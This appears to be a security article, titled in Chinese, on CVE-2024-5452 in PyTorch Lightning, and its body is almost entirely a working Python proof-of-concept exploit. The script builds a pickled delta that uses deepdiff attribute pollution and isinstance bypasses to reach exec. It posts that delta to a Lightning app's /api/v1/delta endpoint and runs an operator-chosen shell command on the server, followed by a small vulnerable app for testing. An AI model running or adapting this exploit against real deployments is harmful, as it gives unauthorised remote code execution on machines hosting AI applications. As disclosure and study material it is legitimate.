CVE-2024-5452：严重的 PyTorch Lightning 漏洞导致 AI 模型遭受远程劫持

import requests, time, pickle, pickletoolsfrom collections import namedtuplefrom ordered_set import OrderedSet# The root cause of this vulnerability is allowing pickled data to be sent to the `api/v1/delta endpoint`# `deepdiff` also does not sanitize dunder paths properly, allowing for escalation to RCE via attribute pollution# Monkey patch OrderedSet reduce to make it easier to pickleOrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())# Helper class to construct getitem and getattr paths easier# Also implements the bypass for `deepdiff` not allowing access to dunder attributes (adds quotes via `repr`)class Root:    def __init__(self, path=None):        self.path = path or []    def __getitem__(self, item):        return self.__class__(self.path + [('GET', repr(item))])    def __getattr__(self, attr):        return self.__class__(self.path + [('GETATTR', repr(attr) if attr.startswith('__') else attr)])    def __str__(self):        return ''.join(            ['root'] +             [                f'.{item}'                 if typ == 'GETATTR' else                 f'[{item}]'                 for typ, item in self.path            ]        )    def __reduce__(self, *args):        return str, (str(self),)server_host = 'http://127.0.0.1:7501'server_host = input(f'LightingApp Root URL [{server_host}]: ') or server_hostcommand = input('Enter Command [id]: ') or 'id'def send_delta(d):    # this posts a delta to the remote host    # there is insufficent type checking on this endpoint to ensure serialized data is not sent accross    requests.post(server_host + '/api/v1/delta', headers={        'x-lightning-type': '1',        'x-lightning-session-uuid': '1',        'x-lightning-session-id': '1'    }, json={"delta": d})# this code is injected and ran on the remote hostinjected_code = f"__import__('os').system({command!r})" + '''import lightning, sysfrom lightning.app.api.request_types import _DeltaRequest, _APIRequestlightning.app.core.app._DeltaRequest = _DeltaRequestfrom lightning.app.structures.dict import Dictlightning.app.structures.Dict = Dictfrom lightning.app.core.flow import LightningFlowlightning.app.core.LightningFlow = LightningFlowLightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}lightning.app.utilities.commands.base._APIRequest = _APIRequestdel sys.modules['lightning.app.utilities.types']'''root = Root()# This is why we add `namedtuple` to the root scope, it provides easy access to the `sys` modulesys = root['function'].__globals__['_sys']bypass_isinstance = OrderedSetdelta = {    'attribute_added': {        # We use namedtuple to access modules (specifically sys) via its `__globals__`        root['function']: namedtuple,        # We need use to manipulate isinstance checks        root['bypass_isinstance']: bypass_isinstance,        # Setting `str` to `__instancecheck__` allows all isinstance calls on OrderedSet instances to return Truthy        root['bypass_isinstance'].__instancecheck__: str,        # We need our _DeltaRequest to be sent to the api request code path, so we change the imported type        # This causes the isinstance check to always fail        # affects: lightningapp/app/core/app.py:362        sys.modules['lightning.app'].core.app._DeltaRequest: str,        # We need to use get_component_by_name as a gadget to lookup our exec function, so we patch this to allow it to traverse normal dictionaries        # We also patch LightningFlow to bypass the ComponentTuple isinstance check        # We also patch out ComponentTuple incase it has already been imported        # affects: lightningapp/app/core/app.py:208-214        sys.modules['lightning.app'].structures.Dict: dict,        # Union needs to be stubbed out or it will complain about LightningFlow not being a type        sys.modules['typing'].Union: list,        sys.modules['lightning.app'].core.LightningFlow: bypass_isinstance(),        sys.modules['lightning.app'].utilities.types.ComponentTuple: bypass_isinstance(),        # We empty this variable to disable writes to internal state variables        # They will now cause unhandled exceptions due to LightningDict being `<class 'dict'>`        # affects: lightningapp/app/core/flow.py:325        sys.modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS: (),        # We need all isinstance checks against this type to succeed to place our payload in the vulnerable code path        # affects: lightningapp/app/utilities/commands/base.py:262        sys.modules['lightning.app'].utilities.commands.base._APIRequest: bypass_isinstance(),        # At this point, we set `name`, `method_name`, `args`, and `kwargs` on _DeltaRequest        # This allows us to lookup and call any object with controlled args and kwargs        # We can do this because our previous patches allow for the following:        # All _DeltaRequest deltas are now sent to the `_process_requests` function        # They are handled as _APIRequest objects and passed into `_process_api_request`        # This function first looks up a component via `root.get_component_by_name(request.name)`        # Due to our previous attribute modifications, this function now allows us to look up arbitrary objects        # It then looks up a method on the returned object (`getattr(flow, request.method_name)`)        # To end the chain, the method is called with the `args` and `kwargs` properties from the the `request` argument        # exec function lookup path        sys.modules['lightning.app'].api.request_types._DeltaRequest.name: "root.__init__.__builtins__.exec",        # method name        sys.modules['lightning.app'].api.request_types._DeltaRequest.method_name: "__call__",        # args        sys.modules['lightning.app'].api.request_types._DeltaRequest.args: (injected_code,),        # kwargs        sys.modules['lightning.app'].api.request_types._DeltaRequest.kwargs: {},        # We set `id` to avoid crashing after payload        sys.modules['lightning.app'].api.request_types._DeltaRequest.id: "root"    }}# Some replaces to remove some odd quirks of pickle proto 1 # We keep proto 1 because it keeps our message utf-8 encodeablepayload = pickletools.optimize(pickle.dumps(delta, 1)).decode()     .replace('__builtin__', 'builtins')     .replace('unicode', 'str')# Sends the payload and does all of our attribute pollutionsend_delta(payload)# Small delay to ensure payload was processedtime.sleep(0.2)send_delta({}) # Code path triggers when this delta is recieved

from lightning.app import LightningFlow, LightningAppclass SimpleFlow(LightningFlow):    def run(self):        passapp = LightningApp(SimpleFlow())